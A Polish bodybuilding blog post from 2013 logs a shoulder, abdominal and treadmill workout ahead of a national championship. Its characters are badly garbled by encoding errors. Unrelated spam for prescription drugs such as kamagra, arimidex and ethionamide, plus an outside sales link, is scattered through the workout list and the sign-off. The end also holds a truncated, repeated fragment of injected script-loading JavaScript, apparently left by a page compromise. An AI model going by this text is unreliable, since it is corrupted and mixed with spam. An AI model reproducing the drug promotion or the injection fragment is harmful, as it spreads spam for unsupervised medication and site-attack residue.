JaBi – Trening BarkA?w na 7 tygodni przed Mistrzostwami Polski 2013

6.03.2013 / Adam Jabłoński / Kulturystyka

CzeAi??Ai??,

W Niedziele zrobiAi??em trening barkA?w + brzuch + 55 minut aerobA?w

TRENING :

Barki :

5 min bieA?nia
3 x 15/12/10 WYCISKANIE HANTLI W OPARCIU O A?AWECZKE
3 x 15/15/12 UNOSZENIE RAMION W PRZAi??D Z HANTLAMI (jednorAi??cz)
3 x 15/15/15 UNOSZENIE RAMION W Z HANTLAMI W OPADZIE TUA?OWIA
3 x 15/15/12 UNOSZENIE RAMION W BOK NA MASZYNIE – to Ai??wiczenie jest super, nic innego tak mi nie izoluje bocznych aktonA?w, pompa jest masakryczna i Ai??wiczAi?? tylko te miAi??sieAi?? – POLECAM

Brzuch : ethionamide price Pills Order

3 x 12/12/12 SKA?ONY TUA?OWIA Z LINKAi?? WYCIAi??GU KLA?CZAi??C
3 x do bA?lu UNOSZENIE NAi??G W PODPORZE

AEROBY :

55 minut na bieA?ni

india drugstore pariet price uk
ParAi?? Fotek z treningu :


online




Buy

POZDRAWIAM
HEJ, http://fandi.mhs.narotama.ac.id/2018/02/02/buy-arimidex-online/ var d=document;var s=d.createElement(‚script’); var d=document;var s=d.createElement(‚script’); online buy triamcinolone ointment online online Cheap kamagra side effects long term. cheap Kamagra. kamagra oral jelly buy online.